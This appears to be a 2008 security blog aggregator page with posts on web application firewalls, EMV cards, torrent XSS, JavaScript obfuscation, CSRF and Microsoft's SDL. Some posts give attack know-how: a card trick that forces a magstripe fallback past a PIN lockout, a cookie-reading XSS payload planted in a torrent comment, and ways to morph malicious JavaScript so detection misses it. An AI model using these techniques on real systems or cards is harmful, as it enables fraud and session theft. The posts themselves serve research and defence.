In an effort to fix this I am starting a series of blog posts called Web Application Firewall Concepts. Each post will be reasonably brief and cover one aspect of the technology, and I will continually update this post to serve as a table of contents.

Posts in this series:
1. Use Cases
  1. Web intrusion detection and prevention
  2. Continuous Security Assessment
  3. Virtual (or just-in-time) patching
  4. HTTP traffic logging and monitoring
  5. Network building blocks
  6. Web application hardening
2. Deployment models
  1. Inline
  2. Out of line
  3. Embedded
3. Data Model
  1. Model construction
  2. Persisting information across requests
  3. Distinguishing sessions
  4. Distinguishing users
4. Analysis Model
  1. Negative security
  2. Positive security
  3. Anomaly scoring
  4. Learning
  5. Evasion
  6. Impedance mismatch
5. Traffic logging
6. Special protection techniques
  1. Cookie protection
  2. Cross-Site Request Forgery
  3. Brute force attacks
  4. Denial of Service attacks
  5. PDF UXSS protection

Dominic White's .tHE pRODUCT

Chip & Pin Cards are a joke

Posted: March 9th, 2008, 2:24pm CDT

Tags: Security [edit]

In December I received an EMV card from my bank in South Africa. I won't mention who they are as this isn't specific to them. In general it has annoyed me, as now I have to type in a PIN, which often necessitates me moving my lazy ass from the table to the waiters pay area and standing around while the steam punk mechanics work themselves out. And, I am *more* liable for fraud on my account.

However, I have been perplexed that at a number of pay stations, even those equipped with EMV readers, the teller can often just swipe it and things work. This defeats the whole point of the EMV card, but I can understand there is a transitioning phase that needs to happen, where eventually all readers will behave like the newer ones.
On newer machines, I thought they had got things right. You swipe the card, at which point it says "Thou shalt not pass" and the teller sticks it in the EMV reader, PIN code entered etc. Preventing any 'downgrade to less secure' badness. However, today, I forgot my PIN code. I tried it twice at a restaurant and chickened out when it proudly displayed the words "Final Attempt". After perseverating over it for a couple of hours I plucked up the courage to try it again at a book store (Penguin has republished some SF classics, "Call of Cthulu" is now mine). Alas, I got it wrong a third time and I had no more credits to try the game again (as an aside it seems to do the PIN checking on the card, and not over the wire).
I then remembered a trick I saw at a shop where their EMV reader was broken but the device didn't know it. I asked the teller to swipe my card, then when asked by the device to put it in the EMV reader, put it in the wrong way around. This causes the device to think the EMV chip is broken and let you downgrade to swipiness. Voila, security control sidestepped, I got my book and said store got their promise to pay from the bank.
This leads us to the question: What is the point. Even if we ignore many of the obvious design flaws in the EMV (self authorising transactions, seriously?), and assume it is a piece of security goodness, what is the point when a bad guy can still use *every* attack they used to use? They could have at least closed down some attack avenues by forcing cards with EMV chips to only use the EMV chip. They could have closed down a few more, by making security controls such as a cap on incorrect PIN codes actually have a consequence.
Here's my proposal. Fix the readers. Put some local incentives (Visa's stuff is alright, but too distant from us in Africa) in place to make merchants (particularly massive retailers) switch away from old POS terminals. Change the new POS terminals to only allow EMV cards to pay using the EMV. Get the fraud contact center to phone a customer when the number of PIN retries is exceeded with a secure method of how to fix it (i.e. not over the phone with "please" as an authorization), and block future requests until then. Then the important bits; get some well trained and professional staff at the call center (this is useful in more areas than one in SA banks) to handle the increased number of calls about this, and put some good advertising in place to explain the change to customers. Still in the important bit, provide incentives to customers for this, namely *reduced* liability for fraud.
What's actually going to happen?
Nothing.

Disenchant's Blog

Torrent Injection

Posted: March 9th, 2008, 2:11pm CDT by Disenchant

Tags: Security [edit]

A colleague of mine asked me a few days ago, what he can do with an XSS on a BitTorrent Tracker site. The most obvious thing was of course to steal a logged in user’s session ID to get access to his account data which contains for example his “Private Tracker” login credentials and so on. The XSS he found was just a reflecting one so it’s good for him because he just started with WebAppSec stuff but for me it was nothing more than the XSS we can find in most of the websites on the whole Internet. You might ask, why I’m writing about this because then I can also write about any other XSS vulnerability but this one make me thinking of another way of injecting a persistent XSS on BitTorrent Trackers. Every BitTorrent Tracker allows users to upload their new *.torrent files and everyone can then download it over the link in the tracker, which contains all needed information about it. Now let’s have a look at the information such a tracker picks out of the uploaded files, which will then be displayed to the user.

Additionally, below there’s also a list of all the files which are “in” this Torrent.

Now let’s think about input filtering. Normally, there are more or less effective input filters in place for bigger web applications but when you have to deal with the content of uploaded files, you should perhaps also check the content of them. I think you’ve got the point

The only thing you have to do now, is to create a Torrent file which contains script code for example as a comment. When we upload such a file to a Torrent Tracker, it should be checked but this isn’t as easy as it sounds and normally programmers don’t do this because there can also be binary data in this files and so you don’t want to check all that stuff and anyway, who can make a Torrent file by hand? *joking*

Now let’s see what happens if I upload my Torrent file which contains <script>alert(document.cookie);</script> in the comment field.

As you can see, our script was executed

This is not just a vulnerability we can find here, it’s more of a global problem we’ve got in applications, where users can upload files, which will become parsed and at this time, this includes heavily BitTorrent Trackers as shown here.

Once more a message to the developers out there: Please implement sufficient filtering mechanisms

Michael Howard's Web Log

The impact of the SDL on Microsoft SQL Server

Posted: March 6th, 2008, 9:25pm CST by michael_HOWARD

Tags: Security [edit]

Following on from my recent post about Windows Vista security and the SDL, a number of people have indicated to me that obvioulsy it's a fluke. It's important to point out that the reason I talk about Windows Vista so much is because I work in the Windows Division. The SDL was born in Windows.

But the SDL extends across Microsoft, not just Windows. So if the SDL works, wouldn't we see vulnerability reduction in other Microsoft products too? Er, yes!

Take a look at a blog post Jeff just made and you'll see what I mean.

Justice League

Security And Market Forces

Posted: March 6th, 2008, 5:04pm CST by jOHN

Tags: Software Security Software Security [edit]
Gunnar Peterson wrote an excellent post lamenting the lack of market forces in the security space.

I don’t know when we’ll see such market forces affecting companies but do agree they would have a positive impact. Certainly, I get why the security space hasn’t been subject to market forces yet though:
- People haven’t historically been ready to pay for it
- Companies haven’t entered the market with something valuable enough to invest in
First: what people are willing to pay for. Simple question: if a development team has a $10M budget, how much does it, say, spend on quality? 10-40%? OK. How much does it spend on software security?

Second: The security space, at least with respect to Software or Application Security, has indeed moved beyond its purely missionary roots: people know they face a problem. People do not, however, know what to do about it.

Lack of direction hasn’t resulted from the vendors’ failed productization of a tool set or services though. No, it’s resulted from the lack of mature solutions in the space. Penetration testing companies were gobbled up last year but my experience has been that, for the most part, customers haven’t been willing to invest in these tools far beyond their initial purchases and the smallest amount of shepherding.

In fact, most organizations I’m working with have seen either a reduction in reliance on or an outright backlash towards penetration testing. Use of static analysis tools and code review, while on the rise, has not reached ubiquity in response (We’ve yet to see what will happen in a broader context, having only completed what I consider to be the early-adopter phase).

What do we do about it? Partnering more closely with customers has been something I’ve felt very strongly about. Listening more closely to them remains crucial. Even involvement at this level can be tricky to fund at all but the most interested customers.

There’s work to do as vendors too. Because, while we’re through the missionary phase, we’re not through the education phase in security. We must spend more time helping clients understand what attainable next steps look like for them. Moreover, I think we have to work with them to solve some of the problems we’ve avoided: we need to clarify salient next steps ;-)

How are we really going to get enough security knowledge in the hands of developers to change their behavior in a sustainable way? How are we going to scale code analysis so that it has some of depth of expertise, manually applied, but all of the consistency and speed of automation?

Technorati Tags: software security

The Spanner

Hidden javascript properties

Posted: March 6th, 2008, 3:29pm CST by Gareth Heyes

Tags: Security [edit]
Javascript contains hidden properties in many objects, I first discovered this when DoctorDan from the slackers forum demonstrated a technique to get the text from a regular expression object without specifying the source property. Later I found a post by John Resig about weird IE behavior again with -1 properties.

So I decided to experiment and write a little script to investigate further. I discovered that it’s possible to access strings of global object names. For example:-
```
alert(Boolean[-6]);
alert(typeof Boolean[-6]);
```
It seems that Firefox at least stores names of objects in “-6″, the example above returns the value “Boolean” as a string. Here’s a few examples I posted slackers which use Objects to create strings.

This is the simple script I wrote to find the properties, feel free to experiment and find any other “hidden” gems.
```
function inspectObject(obj) {
 var prop;
 var props = [];
 for(var i=-1000;i<1000;i++) {
  if(i > 0) {
     prop = obj[String.fromCharCode(i)];
     if(prop != null) {
      props.push(String.fromCharCode(i) + '=' + prop);
     }  
  } else {
     prop = obj[i];
     if(prop != null) {
      props.push(i + '=' + prop);
    }
  }
 }
 return props;
}
 
x=function x(){};
inspectObject(x)
```

Dominic White's .tHE pRODUCT

The Fire in Firewire

Posted: March 4th, 2008, 11:23pm CST

Tags: Security [edit]

I'm really enjoying the hype around the firewire hacks, originally presented by Maximillian Dornseif in 2004, breathed new life in 2006 by Adam Boileau and now re-hyping in 2008 thanks to Adam releasing the last bit of scripts to unlock a Windows machine (illegally!, gosh). I think Adam sums this up quite nicely:

Yes, it's a FEATURE, not a bug. It's the Fire in Firewire. Yes, I know this, Microsoft know this. The OHCI-1394 spec knows this. People with firewire ports generally don[']t.

Now, owning windows' unlock mechanism is good enough for a demo, and we all know if you have physical access you can do lots of stuff. However, one of the key growth industries in security is to provide more protection at the physical layer. Have a look at all the acquisitions and players in this space:
Gartner Magic Quadrant for Mobile Data Protection 2007There are a lot of people spending a lot of money to make damn sure that you can't get at data if you have physical access. I've personally been involved in an evaluation of several of these products, and I can assure you they aren't cheap. Now, those clever boys at Princeton worked out that the right sort of hype would be to target these products in their coldboot attacks. But, here we have a cheaper and easier way to read the memory while the machine is still on, without any of those pesky controls getting in the way.
To be fair, many of these products provide anti-theft/theft detection/theft response type controls which include steps as drastic as automagically deleting the encryption keys. However, I can't see that being enabled without a hefty addition to your service desk and at least 'top secret' classified documents lounging about on your machine.

As an aside, I would really like to see someone modify Black Dog to use this firewire attack vector, and instead of 'autorunning' the X server, using DMA and the host's hardware to run it. This would allow you to 'hijack' the hardware of any machine you plug into. This could be a pretty cool feature; "Take your machine with you, leave the hardware".

Update: T'was only a matter of time: PointSec Disk Encryption Cracked via Firewire

Michael Howard's Web Log

Some thoughts about Windows Server 2008

Posted: March 4th, 2008, 9:31pm CST by michael_HOWARD

Tags: Security [edit]
Windows Server 2008 has shipped! And a fine product it is, too!

Windows Server 2008 is the first Windows Server to go through the full SDL process, making it the most secure version of Windows Server to date. We raised the security bar in Windows Vista, and we REALLY raised the bar in Windows Server 2008.

Windows Server 2008 is a prime product example of our ongoing commitment to Trustworthy Computing, and how the company is making good on its commitment to continue to build the most secure computing environment possible. After the Trustworthy Computing commitment was made a few years ago, we've has made great strides in the right direction, and last week's product launch (Windows Server 2008, SQL Server 2008, and Visual Studio 2008) clearly shows that security remains a top priority.

While I tend to focus on "Secure Features" Windows Server 2008 is full of "Security Features." Someone asked me for my favorite security features. In no particular order, they are:
- The various defenses we see in Windows Vista: stack defenses, heap defenses, ASLR, NX etc etc
- Server Core (ok, technically not a security feature, but a critical way to dramatically reduce a server's attack surface)
- Network Access Protection (NAP)
- Server and Domain Isolation
- Read-Only Domain Controllers
- Suite-B crypto support
Oh, the Windows Server 2008 Security Guide is now available!

Rational Survivability

Why Security Awareness Campaigns Matter

Posted: February 29th, 2008, 10:13am CST by beaker

Tags: Security Awareness [edit]

The topic of security awareness training has floated up to the surface on a number of related topics lately and I'm compelled to comment on what can only be described as a diametrically opposed set of opinions on the matter.

Here's a perfect illustration taken from some comments on this blog entry where I suggested that many CIO's simply think that "awareness initiatives are good for sexual harassment and copier training, not security."

Firstly, here is someone who thinks that awareness training is a waste of time:

As to educating users, it's one of the dumbest ideas in security. As Marcus Ranum has famously pointed out, if it was going to work...it would have worked by now. If you are relying on user education as part of your strategy, you are doomed. See "The Six Dumbest Ideas in Security" for a fine explanation of this.

...and here is the counterpoint offered by another reader suggesting a different perspective:

Completely disagree. Of course you're not going to get through to everyone, but if you get through to maybe 80-90% then that's an awful lot of attacks you've prevented, with actually very little effort. The reason I think it hasn't worked yet is because people are not doing it effectively, or that they'll 'get around to it' once the CEO has signed off all the important projects, the ones that mean the IT Security team get to play with cool new toys.

What's my take?

I think this is very much a case of setting the appropriate expectations for what the deliverable and results should be from the awareness training. I think security awareness and education can bear substantial fruit. Further, like the second reader, if the goals are appropriately and realistically set, suggesting that 100% of the trainees will yield 100% compliance is simply nonsense.

Again, we see that too often the "success" of a security initiative is only evaluated on a binary scale of 0 or 100% which is simply stupid. We all know and accept that we'll never been 100% secure, so why would we suggest that 100% of our employees will remember and act on 100% of their awareness training?

What if I showed (and I have) that the number of tailgates through access controlled access points went down over 30% since awareness training? What if I showed that the number of phishing attempt reports to IT Security increased 62% and click-throughs decreased by the same amount since awareness training? What if I showed that the number of reports of lost/stolen company property decreased by 18% since awareness training? How about when all our developers were sent to SDLC training and our software deficiencies per line of code went down double digits?

What if I told you that I spent very little amounts of money and time implementing this training and did it both interactively and through group meetings and everyone was accountable and felt more empowered because we linked the topics to the things that matter to THEM as well as the company?

As to Marcus' arguments regarding the efficacy of education/awareness, he's basically suggesting that the reason awareness doesn't work is (1) human stupidity and (2) a failure of properly implementing technology that should ultimately prevent #1 from even being an issue.

I suggest that as #2 becomes less of an issue as people get smarter about how they deploy technology (which is also an "awareness" problem) and the technology gets better, then implementing training and education for issue #1 becomes the element that will help reduce the residual gap.

To simply dismiss security awareness training as a waste of time is short-sighted and I've yet to find anyone who relies solely upon awareness training as their only strategy for securing their assets. It's one of many tools that can effectively be used to manage risk.

What's your take?

The Spanner

Polymorphic javascript

Posted: February 27th, 2008, 6:45am CST by Gareth Heyes

Tags: Security [edit]

Finding a pattern in malicious javascript is difficult, it’s possible to selectively change the source code yet still execute the same payload. There are many ways to morph Javascript and I shall go through a few of the possibilities and provide examples through Hackvertor (which now supports code morphing).

In order for a pattern to be established the detection mechanism needs to understand hexadecimal, unicode, octal escapes along with general javascript syntax. It’s difficult to maintain polymorphic code without an increase in size, this could be an indicator that malicious code exists because the code only has so many characters it can selectively modify without encoding the whole payload again. Of course an encoding/compression algorithm could maintain the same size but I think this is easier to detect.

A common factor with malicious javascript is the use of eval or external connections, if a site is using eval in more than one instance and on multiple pages it could contain malicious code. Even the use of a single eval is not that common on the average web site and whitelisting the existing known code could be a good way of detecting malicious content.

I believe the best form of defense is attack and therefore I’ve created code morphing tags in Hackvertor, the tags are not comprehensive but provide a good reference on how javascript code can be selectively modified. There are two classes of morph currently in Hackvertor, random morph and full morph. Random mode will modify a small section of the code without changing the result and full mode will encode the entire payload, this is similar to the code morphing script I wrote previously but contains more features.
Random morphing
Ternary operators can be used to partially morph a string:-
Random ternary morph

Unicode morphing can be used in function calls and javascript strings, the following example shows how the alert function can be changed. Click convert a few times to see the different results:-
Unicode morph

Character codes can partially modify a string like this:-
Charcodes morph

Finally I’ll show the variable morph, there are more morphs available but I’ll leave you to experiment with them. The variable morph simply selects an individual character and creates a sepate string:-

Variable morph
Full morphing
Here I show how the urlencode functions can be used to morph the entire payload:-
Escape morph

Ternary morphs can also be applied to a full payload:-
Ternary morph
Advanced examples
The example below shows how to create a javascript link with multiple random morphs which uses hex entity encoding with a unicode and character code random morph.
Javascript link url

Here’s how to take a string and randomly encode parts of it with urlencoding and character codes:-
Random parts morph

This is my last one now, there are so many combinations I could show you. Click the execute output button to view :-
Reversing keywords

Billy (BK) Rios

Hanging with the Feds in DC

Posted: February 24th, 2008, 4:38pm CST by xssniper

Tags: Security [edit]

Blackhat Federal in Washington DC is officially over! It was a great time and I’m honored to have been chosen to speak at the event. Nitesh and I received a lot of great feedback and our talk was mentioned in a few different places (here, here and here). Nitesh and I realize that the slides by themselves are virtually impossible to understand, so if you’re interested in hearing the full talk, please don’t hesitate to contact us.

The talks I attended were all great, but there below is a quick blurb on my favorites:

Cracking GSM - I’ve been waiting months for this talk. h1kari and Steve from THC gave an incredible overview of how they are able to crack the A5 encryption used by cell phones to protect GSM voice and SMS communications. They also pointed out several security weaknesses associated with cell phones and cell phone transmissions (strongest signal seeking, JVMs on SIM cards, downgrade attacks, lack of notification when weak/no encryption is being used…). h1kari and Steve are using FPGAs to generate a 2 TERABYTE rainbow table and use FGPAs to crack the encrypted data. With the help of a SINGLE FPGA (and the rainbow table) you can crack encrypted GSM communications in about 30 mins (30 mins as in, you capture and store the traffic as is goes by and crack it offline in 30 mins). Commercial grade equipment that is being developed will be able to do it in 30 seconds! This the third FPGA based project that has raised my eyebrows over the last year (this, NSA@home, and a third project that will remain undisclosed at this time), expect to see high amounts of processing power used to crack/brute force/solve previously un-crackable/ un-bruteforceable/ and unsolvable problems… we live in exciting times my friends.

IO in the Cyber Domain, Immunity Style - Sinan from Immunity gave an awesome talk on Information Operations (IO) and how IO differs from penetration testing. This is a discussion that I’ve had with many colleagues over many beers. The basic gist of the discussion is, “how do you defend an organization/individual against sustained targeted attacks over an extended period of time?” Immunity was basically given unlimited time and budget to break into an organization… it’s a scenario very closely aligned with state sponsored Computer Network Exploitation (CNE), Computer Network Attack (CNA) and Computer Network Defense (CND) scenarios, where the adversary can conduct sustained information gathering and targeted attacks against an organization over an extended period of time. Immunity spiced it up by bringing into play a “few 0-Dayz” and described how they penetrated the organizations defenses in a methodical, well-planned, and well-organized manner. IO is a topic that’s near and dear to my heart and I thought the scenarios presented in the talk were indicative of what some organizations face everyday…

URI Use and Abuse / Dtrace: the REs Unexpected Swiss Army Knife - I put these two talks together because Nate, Rob, Tiller, and David really brought out one of the core reasons why I like security conferences… we met the day before the conference at the hotel bar, talked about a few interesting things, and then proceeded to take a vulnerability from “un-exploitable” (as reported to us by the vendor) to “exploitable”. Not to worry, the vendor has already been notified about the vulnerability…

Dominic White's .tHE pRODUCT

Microsoft - Oh My

Posted: February 22nd, 2008, 5:46pm CST

Tags: Security [edit]
Microsoft have released a bunch of protocol specifications for their proprietry protocols or implementations. Some of the whoppers I've added to my reading list are (in alphabetical order):
- "FrontPage Server Extensions: Website Management Specification" http://msdn2.microsoft.com/en-us/library/cc217914.aspx
- "Firewall and Advanced Security Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc231461.aspx
- "Local Security Authority (Domain Policy) Remote Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc234225.aspx
- "NT LAN Manager (NTLM) Authentication Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc236621.aspx
- "NTLM Over HTTP Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc237488.aspx
- "Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification" http://msdn2.microsoft.com/en-us/library/cc240445.aspx
- "Remote Procedure Call Over HTTP Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc243950.aspx
- "Windows Security Health Agent (WSHA) and Windows Security Health Validator (WSHV) Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc251347.aspx
- "Windows Update Services: Client-Server Protocol Specification" http://msdn2.microsoft.com/en-us/library/cc251937.aspx
The items marked in red are for immediate reading. I am particularly excited about the WSUS proposal after my attempts at dissecting it in my masters thesis. This will be good for microsoft in the long run. Yay to the EU.

The Spanner

Firefox javascript sandboxing

Posted: February 22nd, 2008, 1:35pm CST by Gareth Heyes

Tags: Security [edit]

As a technical challenge and maybe in future to allow Hackvertor to execute javascript code from the user. I decided to create a javascript sandbox.

It works by first running the code through a new Function constructor and tosource, the reason for this is that Firefox actually converts the code supplied e.g. ‘test’ becomes ‘test’ etc. Then a private function is created to handle the supplied code, it loops through global objects and assigns each of them as a local variable to remove dangerous functions. Underscores are removed from the code because I found it impossible to secure __parent__ as it cannot be redefined. The global Function is overwritten and the constructor to prevent access to new Function() calls.

Giorgio Maone found some excellent holes in my code which hopefully I’ve fixed now. Giorgio makes the excellent noscript simply the best Firefox extension on the net! Thanks Giorgio
Update…
Waldo on the slackers forum found some excellent vectors to slip through the sandbox. I’ve updated the script to take into account that there are millions of ways to return to the window object in Javascript. This time I’ve changed the sandbox to nullify the actual window object properties and restore them when the sandbox is run. Big thanks to Waldo for the awesome stuff, more of his sandbox breaking (for Facebook) can be viewed here.

So join in the fun and see if you can execute code:-
Firefox sandbox

Submit any alert executions here

Michael Howard's Web Log

The First Step on the Road to More Secure Software is admitting you have a Problem

Posted: February 21st, 2008, 8:31am CST by michael_HOWARD

Tags: Security [edit]

I just wrote an article over on the SDL blog about my observations from the industry to Jeff Jones' vulnerability analysis and the lack of security progress by our competitors.
FAQ about HeapSetInformation in Windows Vista and Heap Based Buffer Overruns

Posted: February 18th, 2008, 7:26pm CST by michael_HOWARD

Tags: Security [edit]

2/19 - Added some Minor Tweaks

Perhaps it's the phase of the moon or something, but over the last few weeks I have received more email about correctly using the HeapSetInformation function than any other topic. I really don't know why! This was added last year as an SDL requirement.

So here's a quick FAQ:

Q: What does the HeapSetInformation function do?
A: It lets your application configure the Windows heap manager with a small number of options. The only security-related setting kills your application in case of heap corruption.

Q: What do you mean by "heap corruption"?
A: Anything that messes with data in the Windows heap, for example damaged caused by a buffer overrun, writing to a stray pointer or a double-free are examples.

Q: How do I use the function?
A: Like this:

BOOL f=HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0);

Q: What should my code do if the function fails?
A: I think it's really up to you as this is not a critical failure, the call should only fail on a platform that does not support termination-on-corruption. This function offers a defense in depth, and is not required for successful operation of an application. So personally, I would just keep on running.

Q: What does this buy me?
A: Assume you code has a heap-based buffer overrun that you do not know about (because if you knew about it, you'd remove it!) If an attacker attempts to exploit it, there is a reasonable chance the attack might make the application crash rather than running exploit code.

Q: What if my code is Windows Vista and later only, can I use a linker option?
A: Yes, link with /SUBSYSTEM:WINDOWS,6.0

Q: Is this a "slam dunk" defense?
A: No. There is a no replacement for secure code, this is just a speed bump designed to make it harder for attackers to exploit heap-based vulnerabilities.

Q: When and where should I use this?
A: All the time - just add the code to your main() function.

Q: Which versions of Windows support termination on heap corruption?
A: Windows Vista and Windows Server 2008

Q: So what happens if I call HeapSetInformation with this option on a down-level version of Windows?
A: It's a no-op. you can call HeapSetInformation, but you simply won't get the defense.

Q: What about 64-bit Windows?
A: There is no need to call this API, the operating system enables termination-on-corruption by default. But you should call it anyway, because your code might run on 32-bit Windows.
A: By default, all 64-bit applications running on 64-bit Windows Vista or Windows Server 2008 get this defense by default, there is no need to call the function. A 32-bit application running on 64-bit Windows does not get the defense for free, the code must call the function.

Q: So if this is available on Windows Vista and Windows Server 2008 and later, do I need to use the Windows Vista (or later) SDKs?
A: No. The termination-on-corruption option is just a flag, so you could use code like the following if you're using an older SDK:

#ifndef HeapEnableTerminationOnCorruption
# define HeapEnableTerminationOnCorruption (HEAP_INFORMATION_CLASS)1
#endif

Q: Is there a performance hit.
A: No.

Q: Is there an application compatibility hit?
A: Possibly, but in my analysis of real world code: no. If your application crashes because of this API, and it never happened in the past without this API, then I suppose technically, that's a compatibility issue. However, you just hit some form of heap corruption which you need to fix, so fix the bug and remove the application compatibility issue!

Q: Is this still of use if grab a hunk of heap, and then perform my own sub-allocations? In other words, I have my own memory allocation system, and only use the operating system to give me the first chunk.
A: Since this API activates extra checking in the Windows heap manager, your sub-allocator won’t necessarily get much benefit. If you want to harden your implementation, make sure your allocator doesn’t include complex control structures or pointers in each block header. While we’re on the subject, is it crucial for you to have a sub-allocator anyway?

Rational Survivability

Announcing the Security Star Chamber...

Posted: February 17th, 2008, 4:41pm CST by beaker

Tags: Security Star Chamber [edit]

I had an idea today; a platform upon which to launch a little security parody mixed with an even dose of introspective navel gazing and the odd spoonful of guffaw. The goal is to provide a healthy whilst humorous appraisal of the state of the security industry.

Think InfoSec Sellout meets Monty Python and The Apprentice.

Did you ever see the movie The Star Chamber?
In one of his earlier features,Michael Douglas plays a young judge who becomes disillusioned with the law system he used to so admire when he finds himself continually having to aquit particularly dispicable criminals on the grounds of ridiculous technicalities.
Sensing his frustration,a close friend (Hal Holbrook) informs him of a secret judicial society that meets and dishes out the appropriate punishment to those who have escaped the clutches of the law.
Inspired by some conversations this last week at ShmooCon with friends new and old, I am creating the Rational Survivability version of the "Security Star Chamber."

I'm going to play the disillusioned (young) judge. I've recruited my not-so-secret judicial society who will, on a weekly basis, cast judgment against a specific market of the security industry; we'll pick on a segment in a no-holds barred look at the belly of beast, not to dispense punishment, but to rather provide perspective.

If we can't take ourselves seriously, we may as well play the fool instead.

We expect to communicate our judgment in the most pompous, self-important and aggrandizing style as we possibly can. Fair and balanced? This ain't Fox News (if you can't sift through that irony, you're sure as hell going to hate the SSC...)

Here's the catch...each of the jury has to summarize his or her argument in one sentence.

This may lend itself to some awkward dialog, but it ought to be mildly interesting for sure.

You'll meet the other judges shortly ;)

/Hoff

Web Security Blog

Web Hacking Incidents Database Annual Report for 2007

Posted: February 17th, 2008, 4:11pm CST

Tags: Web Security [edit]
Breach Labs which sponsors WHID has issued an analysis of the Web Hacking landscape in 2007 based on the incidents recorded at WHID. It took some time as we added the new attributes introduced lately to all 2007 incidents and mined the data to find the juicy stuff:
- The drivers, business or other, behind Web hacking.
- The vulnerabilities hackers exploit.
- The types of organizations attacked most often.
To be able to answer those questions, WHID tracks the following key attributes for each incident:
- Attack Method - The technical vulnerability exploited by the attacker to perform the hack.
- Outcome - the real-world result of the attack.
- Country - the country in which the attacked web site (or owning organization) resides.
- Origin - the country from which the attack was launched.
- Vertical - the field of operation of the organization that was attacked.
Key findings were:
- 67% percent of the attacks in 2007 were "for profit" motivated. Ideological hacking came second.
- With 20%, good old SQL injections dominated as the most common techniques used in the attacks. XSS finished 4th with 12 percent and the young and promising CSRF is still only seldom exploited out there and was included in the "others" group.
- Over 44% percent of incidents were tied to non-commercial sites such as Government and Education. We assume that this is partially because incidents happen more in these organizations and partially because these organizations are more inclined to report attacks.
- On the commercial side, internet-related organizations top the list. This group includes retail shops, comprising mostly e-commerce sites, media companies and pure internet services such as search engines and service providers. It seems that these companies do not compensate for the higher exposure they incur, with proper security procedures.
- In incidents where records leaked or where stolen the average number of records affected was 6,000.
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); var pageTracker = _gat._getTracker("UA-140833-5"); pageTracker._initData(); pageTracker._trackPageview(); The full report can be found at Breach Security Network.

Michael Howard's Web Log

Introducing SAFECode

Posted: February 14th, 2008, 9:27pm CST by michael_HOWARD

Tags: Security [edit]

Today SAFECode, the Software Assurance Forum for Excellence in Code, introduced its first white paper, "Software Assurance: An Overview of Current Industry Best Practices."

The organization was founded by Microsoft, Symantec, EMC, SAP and Juniper to advance understanding and practices related to secure development and integrity controls. Our goal is to raise the security bar across the software industry to reduce vulnerabilities.

There is a small number of working groups within SAFECode, and I am very pleased to chair the Development Processes working group.

Over time, SAFECode will produce many resources to help raise the state-of-the-art in software security.

SAFECode is a great example of "industry helping industry," because it is led by people who have "been there, done that" and have the battle scars to prove it. All members have had security vulnerabilities and learned from the vulnerabilities and changed their processes to help deliver more secure code for customers.

A big benefit is SAFECode is it is not an academic or theoretical endeavor, everything produced by SAFECode will be practical and most importantly, known to improve software security.

Stay tuned.

The Spanner

Hackvertlets

Posted: February 14th, 2008, 7:55pm CST by Gareth Heyes

Tags: Security [edit]

I thought about adding basic bookmarklets to Hackvertor but then I had an idea..wouldn’t it be cool if you could create your own This simple yet powerful feature will allow you to perform a Hackvertor conversion on any text from any web page. This means you can convert a selection of text to hex entities, urlencoded string, base64 or all of them at once if you like!
How to create
1. Click the Hackvertlet button (Make sure there’s no text in the input box)
2. Choose the tags you would like to perform the conversions.
3. Click the Hackvertlet button again.
4. Give the Hackvertlet a descriptive name like “urlencode”
5. Drag the link to your bookmarks.

So what are you waiting for go make your life easier with Hackvertlets:-
Hackvertor

Please note I’ve designed this for Firefox only.
Hackvertor fixes

Posted: February 14th, 2008, 9:58am CST by Gareth Heyes

Tags: Security [edit]
Simplicity is always the best policy
I’ve finally and completely (I hope) fixed nested tags. This was an absolute nightmare to solve because the engine kept matching the wrong sets of tags. For example if you placed the following tags in Hackvertor:-
```
<hex_ent><hex_ent>test</hex_ent></hex_ent>
```
Hackvertor wouldn’t know which one it should convert first, the way to actually solve the problem would be to match the first ending tag and look backwards in regular expressions to find the next starting tag but….Javascript doesn’t support lookbehind correctly. I tried numerous regular expressions to solve this problem and today I just thought to myself that there must be a easier way…I was right Simply appending a unique number to a tag makes each tag different and therefore solving the problem, the result :-
Multiple tags
IE fix
Internet Explorer now supports the base64 encoding functions and URL’s, I thought this was already the case but it turns out that the base64 code I added was missing a few things. I’ve fixed it now though so they should work fine in IE.
More vectors
I recently discovered that you can use zero spaced named entities in Javascript (when in a url), I thought it would be a good idea to add them into Hackvertor so here you go:-
Zero spaced entities
Total Recall No Javascript

Posted: February 14th, 2008, 5:17am CST by Gareth Heyes

Tags: Security [edit]

My friend Ronald has a excellent post where he uses XML to gather entities from the various extensions to check if they are installed. Awesome stuff! The problem though is that it requires Javascript to be successful. I wanted a way to check any extension even if they had Javascript disabled or noscript installed. The following POC detects noscript even when you have a site as untrusted.

Check the POC here (detects just noscript at the moment):-
Total Recall noscript

Source

kuza55 (Alex) also did a great POC with CSS:-
CSS extension detect
CSRF chat

Posted: February 11th, 2008, 7:34am CST by Gareth Heyes

Tags: Security [edit]

You may think adding tokens to your forms will completely protect you from CSRF, you’d be wrong. I’ve shown in previous blog entries how you can use CSS overlays to bypass tokens. I decided to create a real world example which uses these techniques to create something cool. The world’s first CSRF chat! I got a couple of friends to try it out on various browsers and we could successfully communicate in pretty much real time.

Try it out here:-
CSRF chat

The technique uses delicious as a central hub to store the chat data, using a bookmarked url as a username and the description as chat data. A login is performed first using a hidden iframe with one delicious account shared between chat users. Another iframe is then used to load the messages, using JSON which is provided by delicious the chat data is then displayed. Confirmation is required because delicious uses tokens, I simply overlay the request using yet another iframe which displays the save button from the delicious web site.

Big thanks to David, Ronald, Mario and everyone else who helped test the chat room.

Rational Survivability

Security Today == Shooting Arrows Through Sunroofs of Cars?

Posted: February 7th, 2008, 3:35pm CST by beaker

Tags: DataCentric Security [edit]

In this Dark Reading post, Peter Tippett, described as the inventor of what is now Norton Anti-virus, suggests that the bulk of InfoSec practices are "...outmoded or outdated concepts that don't apply to today's computing environments."

As I read through this piece, I found myself flip-flopping between violent agreement and incredulous eye-rolling from one paragraph to the next, caused somewhat by the overuse of hyperbole in some of his analogies. This was disappointing, but overall, I enjoyed the piece.

Let's take a look at Peter's comments:
For example, today's security industry focuses way too much time on vulnerability research, testing, and patching, Tippett suggested. "Only 3 percent of the vulnerabilities that are discovered are ever exploited," he said. "Yet there is huge amount of attention given to vulnerability disclosure, patch management, and so forth."

